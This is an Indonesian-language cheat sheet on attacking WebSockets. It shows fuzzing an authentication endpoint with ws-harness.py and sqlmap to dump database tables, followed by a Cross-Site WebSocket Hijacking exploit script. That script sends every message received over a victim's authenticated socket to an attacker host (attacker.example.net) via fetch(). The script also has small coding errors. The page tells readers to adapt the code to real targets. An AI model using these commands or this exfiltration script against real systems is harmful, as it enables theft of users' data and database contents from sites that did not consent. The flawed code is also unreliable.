Web Socket Attack
Protokol WebSocket memungkinkan komunikasi dua arah dan full-duplex antara klien dan server
Tools
Menggunakan ws-harness.py
Jalankan ws-harness untuk mendengarkan di web-socket, dan menentukan template pesan untuk dikirim ke endpoint.
python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
Isi pesan harus berisi kata kunci [FUZZ].
{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"}
Kemudian kita bisa menggunakan tools apa pun terhadap layanan web yang baru dibuat, bekerja sebagai proxy dan merusak konten pesan yang dikirim melalui websocket dengan cepat.
sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump
Cross-Site WebSocket Hijacking (CSWSH)
Jika handshake WebSocket tidak dilindungi dengan benar menggunakan token CSRF atau file nonce, dimungkinkan untuk menggunakan WebSocket terautentikasi dari pengguna di file situs yang dikendalikan attacker karena cookie secara otomatis dikirim oleh browser. Serangan ini disebut Cross-Site WebSocket Hijacking (CSWSH).
Contoh exploit, dihosting di server attacker, yang mengeksploitasi data yang akan diterima dari WebSocket ke attacker:
<script>
ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = function start(event) {
websocket.send("HELLO");
}
ws.onmessage = function handleReply(event) {
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
}
ws.send("Hai, ini sedikit pesan untuk server");
</script>
Kalian harus menyesuaikan kode dengan situasi yang sebenarnya. Misalnya. jika web aplikasi target menggunakan header Sec-WebSocket-Protocol di permintaan handshake, Kalian harus menambahkan nilai ini sebagai parameter ke-2 untuk pemanggilan fungsi WebSocket untuk menambahkan tajuk ini.
Referensi
- HACKING WEB SOCKETS: ALL WEB PENTEST TOOLS WELCOMED by Michael Fowl | Mar 5, 2019
- Hacking with WebSockets - Qualys - Mike Shema, Sergey Shekyan, Vaagn Toukharian
- Mini WebSocket CTF - January 27, 2020 - Snowscan